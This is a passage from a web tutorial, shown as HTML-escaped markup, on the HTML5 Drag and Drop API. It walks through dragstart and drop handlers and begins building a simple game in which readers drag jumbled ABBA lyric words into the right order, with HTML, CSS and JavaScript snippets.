&lt;li&gt;Hook into the &lt;code&gt;drop&lt;/code&gt; event and use the &lt;code&gt;event.dataTransfer.getData()&lt;/code&gt; to get the source element’s data from the &lt;code&gt;dataTransfer&lt;/code&gt; object.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So, let’s hook into the &lt;code&gt;dragstart&lt;/code&gt; event handler and get the source element’s data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;sourceElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragstart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;currentTarget&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;opacity:0.3&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;targetElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;style&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;border: 10px dashed gray;&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, let’s pass this data on to the &lt;code&gt;drop&lt;/code&gt; event handler:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;targetElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;drop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DROP!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)));&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;We could rewrite this as:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;targetElem&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;drop&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;DROP!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sourceElemData&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;sourceElemId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getElementById&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceElemData&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;appendChild&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sourceElemId&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Regardless of how we decide to do this, we’ve completed a simple drag-and-drop operation, from start to finish.&lt;/p&gt;

&lt;p&gt;Next, let’s use the Drag and Drop API to build a game.&lt;/p&gt;

&lt;h2&gt;
  
  
  Write a Simple Game Using the Drag and Drop API
&lt;/h2&gt;

&lt;p&gt;In this section, we’ll build a very, very, simple game. We’ll have a row of spans with jumbled lyrics to a famous song.&lt;/p&gt;

&lt;p&gt;The user can now drag and drop the words from the first row onto the empty slots in the second row, as shown below.&lt;/p&gt;

&lt;center&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fblog.jscrambler.com%2Fcontent%2Fimages%2F2021%2F08%2Fjscrambler-blog-build-a-game-in-js-2.png" alt="jscrambler-blog-build-a-game-in-js-2"&gt;&lt;/center&gt;

&lt;p&gt;The goal of the game is to place the lyrics in the correct order.&lt;/p&gt;

&lt;p&gt;Let’s begin by adding some HTML structure and CSS styles to our game.&lt;/p&gt;

&lt;h3&gt;
  
  
  Adding The game’s HTML and CSS
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;Famous lyrics game: Abba&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Instruction: Drag the lyrics in the right order.&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"jumbledWordsWrapper"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"again"&lt;/span&gt; &lt;span class="na"&gt;data-source-id=&lt;/span&gt;&lt;span class="s"&gt;"again"&lt;/span&gt; &lt;span class="na"&gt;draggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;again&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"go"&lt;/span&gt; &lt;span class="na"&gt;data-source-id=&lt;/span&gt;&lt;span class="s"&gt;"go"&lt;/span&gt; &lt;span class="na"&gt;draggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;go&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"I"&lt;/span&gt; &lt;span class="na"&gt;data-source-id=&lt;/span&gt;&lt;span class="s"&gt;"I"&lt;/span&gt; &lt;span class="na"&gt;draggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;I&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"here"&lt;/span&gt; &lt;span class="na"&gt;data-source-id=&lt;/span&gt;&lt;span class="s"&gt;"here"&lt;/span&gt; &lt;span class="na"&gt;draggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;here&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"mia"&lt;/span&gt; &lt;span class="na"&gt;data-source-id=&lt;/span&gt;&lt;span class="s"&gt;"mia"&lt;/span&gt; &lt;span class="na"&gt;draggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;mia&lt;span class="nt"&gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"Mamma"&lt;/span&gt; &lt;span class="na"&gt;data-source-id=&lt;/span&gt;&lt;span class="s"&gt;"Mamma"&lt;/span&gt; &lt;span class="na"&gt;draggable=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;Mamma&lt;span class="nt"&gt;&amp;lt;/span&lt;/span&gt;
&lt;span class="err"&gt;&amp;lt;/div&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"orderedWordsWrapper"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;data-target-id=&lt;/span&gt;&lt;span class="s"&gt;"Mamma"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;data-target-id=&lt;/span&gt;&lt;span class="s"&gt;"mia"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;data-target-id=&lt;/span&gt;&lt;span class="s"&gt;"here"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;data-target-id=&lt;/span&gt;&lt;span class="s"&gt;"I"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;data-target-id=&lt;/span&gt;&lt;span class="s"&gt;"go"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;span&lt;/span&gt; &lt;span class="na"&gt;data-target-id=&lt;/span&gt;&lt;span class="s"&gt;"again"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/span&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The structure is straightforward. We have the static &lt;code&gt;h1&lt;/code&gt; and &lt;code&gt;h2&lt;/code&gt; tags. Then, we have the two divs:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;jumbledWordsWrapper&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;&lt;code&gt;orderedWordsWrapper&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these wrappers holds a number of span tags: one span tag for each word. The span tags in the &lt;code&gt;orderedWordsWrapper&lt;/code&gt; don’t have any text inside, they’re empty.&lt;/p&gt;

&lt;p&gt;We’ll use CSS to style our game, as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight css"&gt;&lt;code&gt;&lt;span class="nt"&gt;body&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;40px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nt"&gt;h2&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;margin-bottom&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;#jumbledWordsWrapper&lt;/span&gt; &lt;span class="nt"&gt;span&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="no"&gt;wheat&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;box-sizing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;border-box&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;display&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;inline-block&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;width&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;100px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;height&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;padding&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;15px&lt;/span&gt; &lt;span class="m"&gt;25px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;margin&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt; &lt;span class="m"&gt;10px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;border-radius&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;5px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;cursor&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;pointer&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;  
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="nf"&gt;#orderedWordsWrapper&lt;/span&gt; &lt;span class="nt"&gt;span&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nl"&gt;background&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;#abcdef&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;box-sizing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;border-box&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;text-align&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;center&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;margin-top&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="m"&gt;50px&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Next, we’ll add some behavior to our game using JavaScript.&lt;/p&gt;

&lt;h3&gt;
  
  
  Adding Our Game’s JavaScript Code
&lt;/h3&gt;

&lt;p&gt;We’ll start our JS code by setting a couple of variables and logging them out to make sure we’ve got proper collections:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;jumbledWords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#jumbledWordsWrapper &amp;gt; span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;orderedWords&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;querySelectorAll&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;#orderedWordsWrapper &amp;gt; span&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;jumbledWords: &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;jumbledWords&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;orderedWords: &lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;orderedWords&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The output in the console is as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;"jumbledWords: " // [object NodeList] (6)
["&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;"]
"orderedWords: " // [object NodeList] (6)
["&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;","&amp;lt;span/&amp;gt;"]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now that we’re sure that we’re capturing the correct collections, let’s add an event listener on each of the members in the two collections.&lt;/p&gt;

&lt;p&gt;On all the source elements, we’ll add methods to handle the &lt;code&gt;dragstart&lt;/code&gt; event firing:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;jumbledWords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragstart&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;dragStartHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragStartHandler running&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dataTransfer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setData&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;text&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getAttribute&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;data-source-id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;target&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;On all the target elements, we’ll add methods to handle all the relevant drag-and-drop events, namely:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;dragenter&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dragover&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;dragleave&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;drop&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code that follows should be already familiar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;orderedWords&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;forEach&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;el&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragenter&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragEnterHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
  &lt;span class="nx"&gt;el&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;addEventListener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;dragover&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;dragOverHandler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
